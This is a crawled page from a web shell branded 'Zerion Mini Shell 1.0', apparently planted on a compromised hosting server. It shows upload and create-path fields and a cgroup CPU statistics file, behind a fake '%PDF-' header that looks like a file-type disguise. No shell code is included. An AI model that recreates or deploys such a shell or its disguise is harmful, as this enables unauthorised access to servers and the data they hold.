%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /sys/fs/cgroup/cpuacct/lve1019/
Upload File :
Create Path :
Current File : //sys/fs/cgroup/cpuacct/lve1019/cpu.proc.stat

cpu  27713284 0 3942896 40408188246 58000 0 0 83923
cpu0 839278 0 144156 1683990365 20092 0 0 5277
cpu1 1439436 0 196738 1683284923 5508 0 0 4534
cpu2 1357992 0 180784 1683419573 2315 0 0 4312
cpu3 1421362 0 181174 1683363594 1957 0 0 3795
cpu4 1268246 0 164554 1683547499 1349 0 0 3621
cpu5 1197497 0 161324 1683635830 1341 0 0 3361
cpu6 1186343 0 159752 1683642300 1377 0 0 3359
cpu7 1178624 0 162279 1683662126 1613 0 0 3450
cpu8 1180385 0 164404 1683648668 1388 0 0 3323
cpu9 1174606 0 164795 1683654608 1675 0 0 3248
cpu10 1200073 0 169184 1683632336 1743 0 0 3589
cpu11 1194514 0 171441 1683629964 1761 0 0 3352
cpu12 1218494 0 177445 1683602716 1585 0 0 3455
cpu13 1170805 0 175595 1683651495 1533 0 0 3425
cpu14 1224286 0 181723 1683589688 1449 0 0 3320
cpu15 1182145 0 179258 1683633402 1268 0 0 3496
cpu16 1152547 0 173297 1683675162 1431 0 0 3384
cpu17 1100924 0 164278 1683743604 1316 0 0 3213
cpu18 1075648 0 159077 1683771998 1239 0 0 3212
cpu19 1014745 0 149992 1683847454 1144 0 0 3007
cpu20 1004625 0 146921 1683860111 1279 0 0 2994
cpu21 1023590 0 145039 1683842903 1019 0 0 3113
cpu22 987873 0 138848 1683888522 1399 0 0 2880
cpu23 919237 0 130828 1683969394 1208 0 0 3188
intr 0
swap 0 0

ctxt 61409996
btime 1747808572
processes 81855
procs_running 0
procs_blocked 0

Zerion Mini Shell 1.0